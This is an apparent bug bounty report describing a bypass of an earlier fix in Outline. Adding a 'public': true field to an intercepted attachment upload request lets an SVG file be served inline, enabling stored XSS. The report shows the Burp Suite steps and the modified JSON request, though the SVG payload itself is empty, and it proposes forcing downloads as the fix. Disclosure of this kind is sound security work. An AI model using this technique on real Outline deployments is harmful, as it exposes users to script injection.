# ?? Requirements
Privileges: User.
# ? Description
I found a bypass to [this report](https://huntr.dev/bounties/b15b3291-d56e-4228-8f3c-b692cc27568c/) by uploading the file with `”public”: true,` parameter. This is due to the fact that AWS bucket public folder does not `auto download` files when we access them.
# ????? Proof of Concept
*Step 1*: Go your outline `home` and create a new note.
*Step 2*: Start burp suite with `proxy` -> `Intercept is on`.
*Step 3*: Add in the note, the following `.svg` file by taping `/file` and `[ENTER]`.
“`html
“`
*Step 4*: On burp suite, press `Forward` until you see:
“`
POST /api/attachments.create HTTP/1.1
Host: esaipslack.getoutline.com
Content-Length: 111
…
Connection: close
{
“documentId”: “b4f14bcb-d6c0-4439-8380-324c1abf00ca”,”contentType”: “image/svg+xml”,
“size”:129,
“name”:”xss.svg”
}
“`
*Step 5*: Add `”public”: true,` inside the JSON.
“`json
{
“public”: true,
“documentId”: “b4f14bcb-d6c0-4439-8380-324c1abf00ca”,
“contentType”: “image/svg+xml”,
“size”: 129,
“name”: “xss.svg”
}
“`
*Step 6*: `Forward` and turn `Intercept` to off.
*Step 7*: Go to your note and click to the file.
– File
– XSS
# ? Fix
To fix this vulnerability, I suggest you to force download on the public part of the AWS bucket too.Read More